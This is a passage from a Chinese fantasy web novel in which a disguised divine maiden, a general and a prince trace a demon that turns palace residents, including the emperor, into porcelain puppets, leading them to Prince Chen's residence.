许久,他缓缓拉开书案暗格,取出一卷泛黄的帛书。帛书展开,上面绘着复杂而神秘的阵图,阵眼处正是那块半月玉璧的形状。而阵图四周,标注着密密麻麻的小字,细看之下,竟是一个个人名。
有些名字已被朱笔划去,仿佛他们的命运早已被注定。
李衍提起笔,在帛书空白处写下两个字:
李玄。
笔锋凌厉,几乎要划破帛面,仿佛他要将所有的愤怒与决心都倾注在这三个字上。
“既然你等不及……”他轻声道,声音冰冷而决绝,“那便从你开始吧。”
窗外,乌云如墨,遮天蔽月,整个皇宫仿佛被笼罩在一片巨大的黑暗之中。
夜色,还很长。
青楼后巷。
墨色的夜幕如同一块沉甸甸的黑布,将整个世界严严实实地包裹起来。慕酌与宛楪趁乱出来,在约定的暗处汇合,四周静谧得可怕,仿佛连空气都凝固了。
却发现李琰一直在等着他们。
“宫里也有人牵扯进来了。”李琰的声音压得极低,在寂静的夜里却显得格外清晰。
两人对视一眼,都从对方眼中看到了深深的凝重。此刻,他们清楚地意识到,这已绝非简单的皇子争斗,亦不是普通的青楼命案。瓷人邪术、器灵之气、指向皇宫的黑气……一切的一切,如同一张巨大而无形的网,他们方才不过是偶然触碰到了网边缘的一根丝线,而在这看似平静的表象之下,隐藏着的是深不见底的黑暗与危机。
“接下来怎么办?”李琰的声音带着一丝焦急,打破了短暂的沉默。
宛楪静静地站在原地,夜风呼啸而过,吹得她的衣袂猎猎作响。她指尖无意识地抚过身旁的墙壁,粗糙的触感从指尖传来,仿佛在提醒着她现实的残酷。她抬头,看见乌云缓缓散去,月亮重新露出惨白的面容,洒下的清辉如同冰冷的霜雪,给大地披上了一层诡异的银装。
皇城的方向,隐约传来更鼓声,沉闷而悠长,在夜空中回荡,仿佛在诉说着这座古老皇城不为人知的秘密。
四更天了。
“你们去查,拿着罗盘去找大皇子。”宛楪顿了顿,眼神坚定地看着两人,“我得进宫一趟。”
“太危险了。”慕酌下意识地想要阻拦,他的眉头紧紧皱在一起,眼神中满是担忧。
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“不是我,也会是别人,皇宫那一趟必须得有人走,我是北国的神女,没有人比我更适合进宫了,不是吗?”宛楪的声音很轻,却透着一股不容置疑的决然。
“太冒险了。”慕酌皱了皱眉,想要再说些什么,却被宛楪打断。
“必须去。”宛楪的目光如炬,“有些事,只有亲眼看见才能确认。”
比如皇宫是否也出现了那种诡异的瓷傀。
比如在皇宫的深处,除了那个幽深地宫里的药人之外,是否还隐藏着其他更为恐怖的存在……
最关键的是,吸食了这么多人的精气和血肉,那只妖现在究竟强大到了何种地步……
“那我和你一起。”慕酌向前一步,眼神坚定。
“不需要,我能处理好,慕将军,你应该试着相信你的合作伙伴。”宛楪微微仰头,目光与慕酌对视,眼神中透着自信与坚毅。
“我……”慕酌看着宛楪的脸,话到嘴边却又咽了回去。月光洒在宛楪的脸上,勾勒出她精致的轮廓,那坚定的神情让他无法反驳。
“有需要就把它点燃。”慕酌无奈地将信号弹放在宛楪手上,默默地目送她离开。宛楪的身影在月光下渐行渐远,最终消失在黑暗之中,仿佛被这无尽的黑夜吞噬。
“你这么紧张,我们北国的神女吗?”李琰看着慕酌,脸上露出一丝打趣的笑容。
“我是紧张我军中的校尉,南国好儿郎,说了你不懂。”慕酌别过头,不想让李琰看到自己脸上的担忧。
“儿郎?”李琰摇摇头,轻轻叹了口气,“这话你自己说着你信吗,别以为我不知道你这些天干了什么,带着我们国家的神女又是买衣服,又是买首饰讨人家欢心的。”
“你别以为我不知道你什么心思!”
慕酌俊美的面容上浮现出一丝薄怒的红晕,“你的思想不要这么龌龊,我跟他是过命的兄弟交情!”
“呵。”李琰无奈地叹口气,“你就嘴硬吧,虽然我不知道你们之间到底有什么故事,但是你看她的眼神,就像是一只受伤的野兽幼崽,看着唯一能救自己的人类一样。”
“随你。”慕酌不想再听,提步要走。
“慕兄,你真的觉得他是一个男生吗?那他为什么不选择男相和你出来?”李琰朝着慕酌的背影喊道,在这寂静的四更天街上,不用担心会有人听见。
“更何况你已经给他换了衣装,当神女的时候,她又蒙着脸,没有人看到,除了你这个胆大包天去皇宫神女院落找她的人,甚至还连累我!”
慕酌脚步顿了顿,心中仿佛被什么击中,随后又加速离开。他的身影在月光下显得有些仓皇,仿佛在逃避着什么。
李琰在原地无奈地叹气,手中的折扇被缓缓打开,萧瑟的夜风中传来折扇破空的声音,仿佛是在为这场复杂的纠葛叹息。
听完李琰的话,慕酌的内心可谓是极不淡定。
他并非没有想过这种可能,但他宁愿自欺欺人地觉得,小时候救他的人是一个男子,只是因为某些不得已的原因才不得不女装,而现在自己遇到的从军的他,也只是巧合。
当然,有一种可怕的可能始终在他心头萦绕——他从军是女扮男装。但他不敢深入去想,因为他真的很害怕,害怕这个人就是曾经救过自己命的……
他曾经那样对她,甚至想要杀了她,她早就应该恨透了自己。
更何况一旦让那个人知道自己存在这么一个把柄,绝对不会放过他和她……
自己倒是可以承受一波又一波刺客的袭击,可她呢,一旦被那个人发现,很有可能就会被囚禁起来,甚至被杀死,或者被做成炼制邪术的工具……
他不敢深想,也不敢细想,巨大的恐惧与悔恨,如同一双无情的手,狠狠攥紧了他的心脏,让他几乎无法呼吸。
一向运筹帷幄的慕公子,此刻竟也如此狼狈。
夜色匆匆,没有烛火照亮的路上,漆黑一片,仿佛隐藏着无数的怪物,在黑暗中咆哮叫嚣。远处的树影,影影绰绰,如同张牙舞爪的恶魔,森森堆叠。北国的风从未停止,如同一头愤怒的巨兽,在夜空中肆虐,发出凄厉的呼啸,仿佛在诉说着即将到来的风暴。
明天,本应是严寒中普通的一天,可或许从今天晚上开始,一切都已经变得不再普通了……
78. 食用人类
宛楪踏入皇宫的阴影时,宫墙内的空气仿佛比外界粘稠几分。
她的脚步落在青石上,近乎无声,但每一次细微的触地,都像是碰触到某种巨大沉睡生物的皮肤,激起无形的涟漪。
月光并非均匀洒落,而是被高耸的宫檐切割得支离破碎,明暗交界处格外锋利,如同无形的界线。她的宫苑就在前方,却感觉遥不可及——每一次穿过月光的斑块,踏入更深的阴影,皮肤上都掠过一丝寒意,仿佛有目光从那浓得化不开的黑暗里渗出,贴着她后颈游走。她知道有什么东西察觉了,那感知并非冲击,而是像缓慢漫上的水,无声无息,却无处可逃。
她偏离了主道,拐进一条几乎被荒草淹没的窄径。
寂静不再是安宁,而是充满压迫感的空白,等待被未知的声音填满。然后,她看到了那扇门。一扇不起眼的偏门,虚掩着,缝隙里透出的不是光,而是一种更沉的黑暗,夹杂着灰尘与……某种甜腻到近乎腐朽的淡淡气息。她停住,指尖几不可察地蜷缩了一下,才缓缓推开。
“吱呀——”
声响在死寂中被放大。门内,拥挤的黑暗里,无数瓷偶的轮廓隐约浮现。
它们不是整齐摆放,而是以一种怪异的、近乎活物般的姿态堆叠、倚靠、俯视。
月光吝啬地投进几缕,恰好滑过几张瓷白的脸。
笑容弧度精准,眼窝处却是吞噬光线的空洞。
地上,碎片散落,不是凌乱的,反而像刻意铺陈的图案,每一片锋利的边缘都反射着冷冽的微光,像静默的嘲笑。
她没有立刻退开,而是深吸了一口那混杂着陈腐与异香的空气,喉咙微微发紧。
退出时,宫道上远远晃来两点晕黄。是小宫女提着的灯笼,光晕在浓夜里艰难地撑开一小圈模糊的暖色,却将她们自己的影子在宫墙上拉扯得变形、晃动,如同受惊的鬼魅。细碎的对话飘来,带着压低的惊惶:
“你说,为啥那些贵人都那么喜欢陶瓷人偶,隔三岔五宫里面就要碎一个,隔三岔五宫里面就要碎一个,这也太邪乎了。”一个小宫女低声嘟囔着。
“嘘,你小声点,别乱说,说不定被听到了,咱们可就遭殃了。”另一个小宫女紧张地左右张望。
她们的声音在寂静的夜里显得格外清晰,随着脚步声,渐渐靠近宫道尽头。
“别说了!这宫里……很多东西,听了就出不去了……”
话音未在空气里完全散去,异变陡生。
风?不,没有风。是一股如有实质的“冷”,贴着地面倏地卷来。提着灯笼的那个宫女,声音和动作瞬间凝固。她甚至没来得及转头,那团从墙角阴影里“渗”出来的、比夜色更浓稠的黑气,就缠上了她的脚踝,旋即如藤蔓疯长,裹住全身。过程快得没有惨叫,只有一声极其短暂、类似瓷器受热迸裂前的轻“嘶”,然后是——
“哗啦。”
清脆的、连绵的、令人牙酸的破碎声。
“啊!”另一个宫女大惊失色,惊恐地瞪大双眼,还未等她发出更多的声音,那黑漆又朝着她席卷而来。
就在这千钧一发之际,宛楪如鬼魅般疾冲过来,一把将那宫女拉到身后。宛楪手中泛起青光,奋力抵御着黑气的侵袭。
然而,黑气来势汹汹,宛楪虽暂时护住了宫女,但也感受到了一股强大的压力。最终,那宫女承受不住这般惊吓,两眼一翻。
此时,夜色仿佛变得愈发浓稠,如墨般的黑暗似乎要将一切吞噬。
宛楪只是像一道更快的影子切入两者之间,手臂一揽将宫女带向身后,另一只手向前虚按。掌心并无炫目光华,只有一层极淡、几乎看不见的青晕漾开,空气在她掌前肉眼可见地微微扭曲,仿佛抵住了一面无形的、冰冷滑腻的墙壁。
黑气与青晕接触的瞬间,发出低沉的、仿佛无数细瓷摩擦的嘶响。
宛楪的手臂几不可察地一震。被她护住的宫女,最后看到的,是近在咫尺的、宛楪绷紧的侧脸线条,和那团仿佛拥有生命的、翻涌着恶意的黑暗,随即意识便沉入无边恐惧的深渊,软倒下去。
黑气一触即收,没有纠缠,如同潮水般向着宫殿深处退去,留下满地狼藉和刺骨的阴寒。
宛楪看了一眼地上昏迷的宫女和那堆碎片,胸口微微起伏,随即抿紧唇,毫不犹豫地追入那更深的、仿佛巨兽咽喉的宫殿阴影之中。
沿途的宫阙楼台在夜色里褪去金碧辉煌,只剩幢幢黑影,窗棂空洞,偶尔有未熄的烛光从缝隙漏出,非但不能驱散黑暗,反而将那一片区域衬得更加孤寂诡秘。
她路过一座大殿,门扉微敞,里面竟点满了蜡烛,成百上千的烛火静静燃烧,却奇异地没有暖意,只有一片死寂的光亮,映着空旷无人的殿宇,像一场盛大而沉默的祭礼。
追踪的痕迹最终断在一处偏僻的侧殿。
殿门敞开,里面没有寻常烛火,只有几盏长明灯,灯油将尽,火苗萎缩成豆大一点幽蓝,勉强照亮空气中浮动的、纱幔般的稀薄黑气。
地面、墙壁,隐约有暗红色的纹路蔓延,如同干涸的血脉。皇帝就跪在那些纹路的中心,对着一个模糊的、非佛非道的扭曲偶像,以头叩地,发出沉闷的“咚、咚”声,嘴里絮絮叨叨,声音却破碎不成调子。
宛楪隐在殿外廊柱的阴影里,屏住呼吸。就在她目光落在他身上时,皇帝叩拜的动作突兀地停了。
他极其缓慢地、关节仿佛生了锈般,一点点抬起头,转向她的方向。
月光与幽蓝的灯火,交织落在他脸上。
那不是人脸。
至少,不完全是。
皮肤呈现出一种光滑、脆弱的瓷白,几乎能反光,脸颊上甚至有两团诡异的、固定的红晕。
眼睛睁得很大,但眼珠浑浊呆滞,像是劣质琉璃珠嵌了进去,没有焦点,只有一片死寂的空洞。他的嘴角却向上弯着,是一个标准到刻板的“笑”的弧度。他在“笑”着,看向黑暗。
一股寒意顺着宛楪的脊柱窜上。
殿内的黑气忽然剧烈翻涌,瞬间扑向皇帝。皇帝那瓷白的脸上没有任何表情变化,就直挺挺地向前倒去,额头磕在地砖上,发出“铿”的一声脆响,像是瓷器相撞。
黑气吞噬了皇帝,却并未离开,反而在原地浓缩、蠕动,最后形成一个勉强维持的人形轮廓,面朝宛楪的方向。
一个嘶哑的、仿佛沙石摩擦的声音,从轮廓中直接钻进她的脑海,并非通过耳朵:
“看够了么,小老鼠?”
宛楪从阴影中走出,踏入那片被幽□□火和诡异纹路笼罩的区域,与那黑影隔着数丈对峙。殿内气息粘稠如浆。
黑影轮廓微微波动,像在打量她。“这气味……南边森林的潮湿气。呵,南国那个什么楼的,小圣女?不好好在你山林里待着,钻进这人间污泥里作甚?”
宛楪心头一凛。它果然知道。
她不动声色:“北国,搅动风雨的,又是何物?”
“何物?”黑影像是笑了,发出那种细瓷碎裂般的声响,“我是即将成为‘一切’之物。这人间王朝,金玉
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其外,败絮其中,正是最好的温床与养料。看——”它“手”的位置似乎指了指地上昏迷的皇帝,“尊贵的天子,不过是最易上釉的胚土。我要的,不止这一个。”
它顿了顿,那无形的“目光”似乎更实质地压在宛楪身上:“你的根基不错,虽带了些令人不快的‘正’气,但本质终究非人。何必与注定腐朽的蝼蚁为伍?不如与我一道。届时,我分你一些人类食用。”
声音里带着一种蛊惑的、仿佛能钻进心底缝隙的低语力量。
宛楪看着地上皇帝那半人半瓷的可怖模样,声音压低,却字字清晰:“用这等邪法,将活人生生炼成玩偶,便是你所谓的修炼?”
“邪法?”黑影嗤笑,“天地不仁,弱肉强食,何来正邪?我不过……赐予他们‘永恒’罢了。加入,你便能理解这伟大的进程。拒绝……”
黑影的气息骤然变得危险而冰冷,“那你,和那些碎片,也没什么不同。”
沉默在殿中蔓延,只有长明灯芯偶尔爆出细微的噼啪声。空气紧绷如拉满的弓弦。
“我与他们,”宛楪终于开口,指尖有微不可见的青气萦绕,“确实不同。”
话音未落,她已不在原地。
没有炫目的光影对撞,只有两道模糊的影子在昏暗中急速交错、分离、再碰撞。气流被搅动,发出呜咽般的声响;
地面上暗红的纹路偶尔被触及,会泛起短暂的血光;黑影的攻击诡异莫测,时而化作无数瓷片般的锋利碎片席卷,时而如沉重的泥沼试图困住她的动作;宛楪的身法轻灵如风,每每在间不容发之际闪避,那层淡青色的光晕始终护在她周身,与黑气接触时迸发出冰晶碎裂似的细密锐响。
一场无声而激烈的角力。不知过了多久,一次格外沉重的撞击后,两道身影倏然分开。
宛楪退后几步,脸色在幽蓝光线下显得有些苍白,呼吸稍显急促。
那黑影轮廓也黯淡了不少,翻涌的速度减缓。
就在这时,地上传来“铿啷”一声。皇帝动弹了一下,僵硬地抬起他那张瓷化的脸,浑浊的眼珠转了转,似乎终于聚焦,看清了殿内剑拔弩张的场面和几乎被摧毁的摆设。
就在这一分神的刹那。
宛楪深深看了那黑影一眼,不再犹豫,身形如烟,向后疾退,瞬间融入殿外无边的黑暗之中,消失不见。
黑影没有立刻追赶,只是对着她消失的方向,发出低沉而怨毒的、仿佛无数人偶在耳边私语般的冷笑。
“发……发生……何事?”他的声音干涩沙哑,带着非人的摩擦音调,脸上那固定的笑容显得无比诡异。
黑影猛地转向他,那股暴戾的怒意几乎凝成实质:“闭嘴!你这没用的泥胎!”
小瞧了那个圣女,没有食用人类的情况下,居然能将它重伤!
皇帝站起来,有些小心翼翼,“它”似乎因受伤而格外烦躁,命令道:“去!再找几个‘胚料’来!要新鲜的、气血足的!快!”
皇帝被那怒意吓得一哆嗦,瓷白的脸上竟出现几道细微的裂痕纹路。他不敢再多问,手脚并用地试图爬起来,关节发出“咔咔”的怪响。
宛楪强提着一口气,在迷宫般的宫巷中穿行,喉间泛起淡淡的腥甜。那黑气的侵蚀之力比她预估的更阴毒。
直到回到客栈房间,反手闩上门,背靠着冰凉的门板滑坐在地,那一直紧绷的弦才骤然松断。剧烈的眩晕和寒意席卷上来,她蜷缩起来,额头发烫,视线迅速模糊沉入黑暗,只余下指尖无法控制的细微颤抖。
79. 他还不知道她的名字
客栈里,晨光艰难地穿透窗纸,在榻边投下朦胧光晕。
宛楪从高烧的昏沉中悠悠转醒,额上覆着的湿巾已被体温捂得微温。她睁开眼,睫羽颤动间,首先看见的是床边那道挺直的身影——慕酌坐在一张矮凳上,脊背绷得像一张拉满的弓。
他守了一夜?
见她睁眼,慕酌原本紧绷的神情瞬间有了裂痕,整个人几乎是扑到床边,倾身向前,距离近得宛楪能看清他眼底熬夜留下的血丝,能闻到他身上那股混合了冷铁与沉水香的气息。他的双眼紧紧锁住宛楪,像是生怕她下一秒就会消失。
他声音压得极低,每个字都像从齿间小心磨出来,带着难以掩饰的颤抖:“你在宫里,究竟遭遇了何事?”
那语气,仿佛只要宛楪说得慢一点,就会被内心汹涌的担忧给淹没。
宛楪喉间干涩,像沙砾摩擦。她试图撑起身,动作牵动了伤口,忍不住轻轻吸气。
慕酌的手下意识伸出扶着,拿起枕边水杯,动作急促又带着小心翼翼。
当宛楪接过水杯,指尖相触的瞬间,两人都微微一顿——他的手很凉,像在窗外雪夜里浸了一宿。
宛楪心思仍然在昨天晚上碰到的妖,摆摆手,声音虚弱却故作轻松:“没什么关系,就是受了点小伤,休息休息就好。”
慕酌却根本不买账,较好的面貌此时拧成一个死结,额头上甚至因此挤出了几道深深的纹路。
他声音不自觉地拔高,带着难以抑制的焦急:“还说没事?你知不知道如果不是我们两个回来的早,我都发现不了,你当时整个人都烧得烫手,气息微弱得……”
他猛地闭上嘴,像是那些可怕的描述会成真一般,不敢再说下去。
此刻,他看向宛楪的眼神中满是后怕与心疼,他缓缓伸出手,指尖在距离宛楪脸庞一寸的地方停住,“你知不知道这样很危险!”
宛楪扯出一抹虚弱的笑,轻声说道:“瞧你紧张的,我现在不是好好的嘛,搞得好像我是什么瓷器娃娃。”
宛楪顿了一下,有些打趣,“瓷器现在也根本就不脆了。”
慕酌微微一怔,嘴唇动了动,却没发出声音。他垂在身侧的手不自觉地攥紧,手背上青筋暴起,显示出他内心的不平静。
他很想告诉宛楪,他有多担心她,可话到嘴边却又咽下。他们现在不过是合作伙伴,况且暗处不知有多少双眼睛盯着他……
慕酌深吸一口气,眼神依旧紧锁着宛楪,仿佛要把她的模样刻进心底,确保她真的安然无恙。
宛楪借着那点支撑坐起,温水润过喉咙,才将昨夜宫中那骇人见闻缓缓道出。
声音虚弱,却字字清晰:“我刚进去,就觉得气氛不对,空气闷得慌。”
“我没走大道,拐进个小路,看到一扇偏门。一推开,里头全是些姿势怪异的瓷偶。”
宛楪顿了顿,轻咳几声,眼前出现了一杯重新倒好的温水。
她抬头看着慕酌,继续回忆,“后来我听见俩宫女说话,还没说完,一股黑气冒出来,一下就把一个宫女给裹住,直接变成了碎片。”
“我救下……咳咳,一个。”
“之后我顺着黑气的痕迹找,看到……”
“皇帝在一个侧殿里,对着个奇怪的东西磕头,脸都变成瓷的了,那样子都不像是一个人。”
宛楪皱了皱眉,头有些疼,她拒绝了慕酌不要让她回忆的话。
“墙壁地面,有一些暗红纹路,我不知道该怎么去描述这些东西……”
对于自己碰见妖的事,这件事情对于人类,还是知道越少为好。
“那股邪气……”
宛楪顿了下,想起自己和影妖对决的时候,有一丝气体流窜到的位置。
所以她改了一下说辞,“我最后追踪时,它像有生命般朝宫外流窜。气息所指……”
她抬起眼,眸中映着窗纸透进的微光,“隐隐向着皇宫东南角的地方去了。”
话音方落,房门被极轻地叩响三下。慕酌没有回头,只低声道:“进来。”
十三皇子闪身而入,反手合上门。
他与慕酌交换了一个短暂的眼神,十三皇子走到榻前,目光落在宛楪苍白的脸上,眉头微蹙:“神女姐姐你没事吧?”
慕酌一个眼刀就飞了过去,李琰缩了缩脑袋。
看吧看吧,还说自己不在乎呢。
“无碍。”宛楪摇头,目光却敏锐地捕捉到他袍角沾染的几点暗色泥印——那不是普通街巷的尘土,倒像是……地下深处的湿泥。
慕酌从怀中取出一物,托在掌心。那是个古朴的青铜罗盘,盘面刻着密密麻麻的星宿符文,中央指针却诡异地微微震颤,时而顺时针转动半圈,时而逆时针回摆,仿佛被无形的力量反复拨弄。
慕酌的声音平静,目光却紧锁罗盘,“我与他暗中以此物追查。起初确有指向,但现在,指针便如此紊乱,像是被一股极为强大且诡异的力量干扰。那股力量,绝非寻常。”
他微微皱眉,手指轻轻敲击着罗盘边缘,“这几日,我们顺着原有的线索追查,可罗盘指针却毫无预兆地乱转,完全失去了方向。起初,指针一直指向西北方向,但就在三日前,指针突然疯狂颤动,仿佛被什么无形的手拨弄,再也无法给出准确指向。”
“几日,我们不是刚刚分别吗?”宛楪有些疑惑。
“你还说呢,我回来的时候就看到你一直在这里烧着,我都以为……”慕酌眼里是藏不住的担忧。
“你是什么时候回来的?”
“我刚刚要问你,你还不让。”慕酌的语气急促,终于可以把自己担心想要询问的话问出口。
宛楪尴尬地笑笑,自己刚才就想着怎么把话说的明白点,还能不让他们发现妖的痕迹?……
“咳咳,我次日晚上就回来了。在皇宫待了一天。”
“你!”慕酌开口,“那你岂不是已经烧了三四日了!”
“你知不知道……”
“好了。”慕酌的话被打断,宛楪实在不适应慕酌这个样子。
“你刚才说到罗盘的指针疯狂乱动,为什么?不是说它很好使吗?”
慕酌拿她一点办法没有,眼中的担心没有停下,但只好顺着宛楪的话说,话语中带着思考和警惕。
“我怀疑,有人察觉到了我们的行动,故意布下迷阵干扰罗盘。而能做到这一点的,恐怕就是与这股妖邪力量相关之人。”
“对对,就像是被更强大的同源气息干扰,失去了明确方向。”
十三皇子接过话,微微颔首,他从袖中取出一方素帕,小心展开,帕中包着几片碎瓷——那瓷片釉色莹白,边缘却透着诡异的暗红纹路。“但就在指针彻底混乱前,它最后较为稳定的指向,在城东。”他顿了顿,声音压低,“我们循着那点微弱的指引,在城东荒废的旧观星台下,发现了一处隐秘的地宫入口。”
宛楪盯着那跳动不休的指针,某种直觉在心头蠢动。
如果说一开始的明确方向是完全被干扰,后面紊乱,可能就是因为自己和影妖打了一场。
然后出现的应该就是正确的方位了。
她还是个隐藏的功臣。
慕酌接过话头,语气沉凝:“地宫极深,通道曲折,壁上刻满从未见过的符文。那些符文……”
他抬眼看向宛楪,“在黑暗中会散发微弱的黑气,与你在宫中描述的,颇为相似。”
屋内烛火“啪”地爆了个灯花。想到那些纹路,宛楪呼吸微窒:“你们进去了?”
“只到一处密室。”十三皇子道,“密室地面有纹路,以暗红色颜料绘制,形如……”他展开另一张粗糙的纸,上面是用炭笔摹下的简图——那纹路曲折诡异,宛楪只看一眼,便觉后背发凉。
与她昨夜在皇宫侧殿所见,几乎一模一样。
“罗盘在地宫中反而逐渐稳定,”慕酌的指尖轻点罗盘边缘,那指针此刻虽仍微颤,却固执地偏向东南方,“最终指向的方位,换算到地面上……
慕酌顿了顿,神色凝重,“正在陈王府邸的范围之内。”
“而陈王府……”
“正位于皇宫的东南角。”
空气骤然
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凝滞。三人目光交汇,客栈外街市隐约的喧闹声仿佛瞬间远去。
只剩下屋内烛火燃烧的细微声响,以及各自压抑的呼吸。
宛楪撑着榻沿的手指微微用力,骨节发白。她想起昨夜宫中那股黑气逃窜的方向,想起宫中那些莹白到诡异的瓷器碎片。
所有的碎片——皇帝的异状、大皇子的失踪、罗盘的异常、地宫的邪纹——在这一刻,被一根无形的线猛地串联、收紧。
线头直指那朱门高墙之内。
“如此说来,”她缓缓开口,声音干涩。
“我们探查的指向同一处根源。”慕酌替她说完了后半句。
“陈王府。”三个字,重若千钧。
李琰缓缓吐出一口气,那气息在寒冷的空气中凝成白雾。
慕酌的目光从罗盘移向宛楪,先前那些压抑的担忧此刻都化作心事重重的明悟。
他想起她昏迷时蹙紧的眉头,想起她指尖无意识蜷缩的模样——原来昨夜,她独自离得那样近,近到几乎触及那深渊的边缘。
他真是,没有用啊……
正当这沉重的结论在寂静中沉淀,门外传来急促却克制的脚步声。
“殿下,有帖子。”
李琰起身开门,接过那封烫金拜帖。
展开的瞬间,一股极淡的、混合了梅香与某种冷冽瓷釉的气息飘散出来。
帖上字迹工整华丽,言辞恳切,邀李琰和他的两位朋友午时过府“赏瓷”。
“瓷”之一字,在此时此地,读来分外刺骨。
落款,陈王李治海
这一刻,空气中的温度仿佛骤降,紧张的气氛如一张无形的大网,将三人紧紧笼罩。
一场风暴,似乎即将在这看似平静的表象下,轰然爆发。
“两位朋友,说的是我们吧。”慕酌嗤笑一声,“真是不去找他他自己送上门来了。”
“事不宜迟,那就走吧。”宛楪抬头,眼神坚定,正要起身。
“你留下。”慕酌伸出手,不由分说地把她按了回去,语气强硬,“你的伤还没好,发了三四天的高烧,就你现在这身子,去了跟送死有什么区别?”
“你拦不住我。”宛楪的声音透着丝丝寒意,她实在反感慕酌总是这般管束自己。
一时间,气氛剑拔弩张,仿佛有火花在两人之间迸溅。李琰见状,赶忙挥了挥手,赔着笑说道:“那个,两位可别吵哈,这帖子上面说的是三天之后,在陈王府举办梅花宴呢。”
听到这话,宛楪转头,暂时不再与慕酌争执。慕酌嘴唇紧抿,想说什么,却又生生咽了回去。
“那你先好好养伤吧。我,我们就不打扰你了。”慕酌说完,一把拽着李琰转身离开。
一路上,慕酌脸色阴沉得好似暴风雨来临前的天空,臭得能拧出水来。李琰无奈地笑了笑,伸手拍了拍他的肩膀,说道:“慕兄,我跟你说啊,你要是想追女孩子呢,可不能用这种方式。你呀,得让她心疼你才行。”
“心疼?”慕酌一脸疑惑,头微微低下,浓眉紧蹙,似乎在认真琢磨李琰这话。
“对呀,对呀。好了,慕兄,你自己琢磨琢磨吧。依我看呐,那位神女殿下可是个吃软不吃硬的主儿。”
慕酌没有回应他,思绪却飘回到小时候,那时自己被她救下,似乎正是因为自己死皮赖脸,装出一副可怜兮兮的模样,她才心软收养了自己……
李琰见慕酌陷入沉思,便转身往回走,一边走一边暗自偷笑。
你看吧,心里还是想追人家。
回来的时候让他自己先去核对位置,不就是为了赶紧见到人,还非要整理好仪容仪表去。
慕酌独自在风中伫立了许久。北国的冬天,寒风如刀割般刮过脸颊,天空阴沉沉的,厚重的乌云似乎随时都会压下来。
纷飞的雪花洋洋洒洒地飘落,很快便在地面铺上了一层银白。四周一片寂静,唯有风声呼啸。
在这冰天雪地中,慕酌猛地意识到,自己竟然还不知道宛楪的名字。这个与他命运交织的女子,他对她的了解,似乎还远远不够……
80. 揭露身份
午时的陈王府,朱门洞开。
昨夜一场细雪,此刻尚未化尽,薄薄地覆在庭院青石上,反着冷冽的天光。院中白梅开得正盛,积雪压在枝头,偶尔有碎雪簌簌落下,在寂静中发出极轻的声响。
而更刺目的,是廊下陈列的那一列列瓷瓶。
它们被精心摆放在紫檀木架上,每一只都莹白如玉,釉面光洁得能映出人影。雪光与天光落在那些瓷瓶上,反射出一种冰冷到近乎非人间的光泽。
宛楪的目光一触及那些瓷器,心脏便猛地一缩——
那釉色,那光泽,与昨夜宫中满地碎瓷,如出一辙。
陈王着一身绛紫锦袍,外罩玄狐大氅,正笑盈盈立在正厅阶前。他虽年近四旬,面容却保养得宜,俊雅中透着久居上位的雍容,唇角含笑,眼底却似蓄着两潭深不见底的静水,映不出半点真实情绪。
他迎上前,声音温润如常,“今日雪景甚佳,又有新瓷出窑,特请诸位共赏,实乃幸事。”他的目光在李琰身上多停留了一瞬,那眼神深处掠过一丝极难察觉的、混合了审视与某种了然的光。
寒暄入厅,暖意扑面而来,夹杂着炭火气与一丝若有若无的甜香。
那香气极淡,却让宛楪后背寒毛悄然竖起。与昨夜宫中的气息,相似,又不完全相同。
她佯作赏瓷,缓步踱至廊下。指尖悬在瓷瓶上方寸许,没有触碰,却能感受到那釉面散发的、异于常物的低温。
目光细细扫过瓶身,在那些繁复的花纹间隙,她看见了极细微的、暗红色的纹路,如同瓷器烧制时自然形成的“开片”,却隐隐构成某种规律的脉络。
与她记忆中的宫阙邪纹、与她怀中那张炭笔摹下的地宫密纹,悄然重叠。
她眼波微动,不着痕迹地侧身。慕酌正与陈王说话,举杯时衣袖垂下半分,恰好挡住了陈王投来的视线。两人的目光在空气中极短暂地交汇——他看见了她的警示。
“殿下府上所藏之瓷,”慕酌举杯,语气如常,甚至带了几分欣赏,“精妙绝伦。釉色莹润,纹样别致,竟有几分……宫中御窑的风韵。”
陈王笑容不变,亲自执起白玉酒壶,为慕酌续酒。酒液落入杯中,声响清脆。“慕将军过誉了。不过是府里几个老窑匠,闲来无事,照着宫里的样式仿造些玩意儿,聊以自娱罢了。”他抬眼,目光似不经意地扫过宛楪,“岂敢与天家珍宝相比。”
话音方落——
“哐啷!”
廊外骤然传来瓷器摔碎的刺耳声响!那声音在寂静的雪院中炸开,尖锐得令人心头一悸。
众人循声望去,只见一个小丫鬟面无人色地跪在廊角,身前是一摊莹白的碎瓷。她浑身抖若筛糠,额头抵着冰冷的地面,连求饶的话都说不完整:“殿、殿下恕罪……奴婢……奴婢一时手滑……”
陈王脸上的笑容,像退潮般缓缓敛去。
他没有立即发怒,只是放下酒壶,缓步走至那摊碎瓷旁。锦袍下摆拂过地面积雪,发出沙沙轻响。他在碎瓷前驻足,俯身,伸出两根修长的手指,捻起一片边缘锋利的碎片。
然后,他举着那片碎瓷,对着灰白的天光,细细端详。
所有人都屏住了呼吸。
宛楪看得最清楚——在那片碎瓷极薄的边缘,一缕极淡的、几乎肉眼难辨的黑气,如活物般缓缓渗出,沿着釉面游走了寸许,又倏地钻回瓷质深处,消失不见。快得像一场幻觉。
但慕酌握杯的手指,骤然收紧。李琰的呼吸,微不可察地滞了一瞬。
“慕商,李主簿,还有,清醒的神女殿下……”
陈王缓缓直起身,目光仍落在指间的碎瓷上,声音轻得像在自语,“这瓷,从取土、炼泥、拉坯、上釉,再到入窑烧制……要经过七十二道工序。窑火要控得恰到好处,多一度则裂,少一度则生。”
他终于抬眼,目光如冷瓷般滑过众人,最终,定格在宛楪脸上。
“最是经不起……”他指尖一松,那片碎瓷落回地上,发出清脆一响,“失手。”
死寂。
只有寒风掠过梅枝,带起细雪飘洒的微声。
陈王袖中滑出一柄玉骨折扇,“唰”地展开。扇面上并非寻常的山水花鸟,而是密密麻麻的、姿态各异的瓷偶轮廓。那些瓷偶或立或坐,或仰或俯,唯一的共同点是——它们全都睁着空洞的眼窝,齐齐“望”向扇外。
“神女殿下,”陈王的声音忽然变得轻柔,像雪片落在脸颊,却带着浸骨的寒意,“昨夜宫阙之中,灯火辉煌,‘赏玩’得可还尽兴?”
他向前半步,折扇轻摇,扇面上那些瓷偶的眼窝仿佛随之转动。
“有些景致,看了,”他唇角勾起一丝极淡的、毫无温度的弧度,“便需付出代价。”
“锵——”
慕酌的剑出鞘半寸,寒光乍现。他一步侧移,已挡在宛楪身前半步。这个距离既能护住她所有要害,又不至于完全遮蔽她的视线与行动——是一种信任她能力、却又绝不松懈的保护姿态。
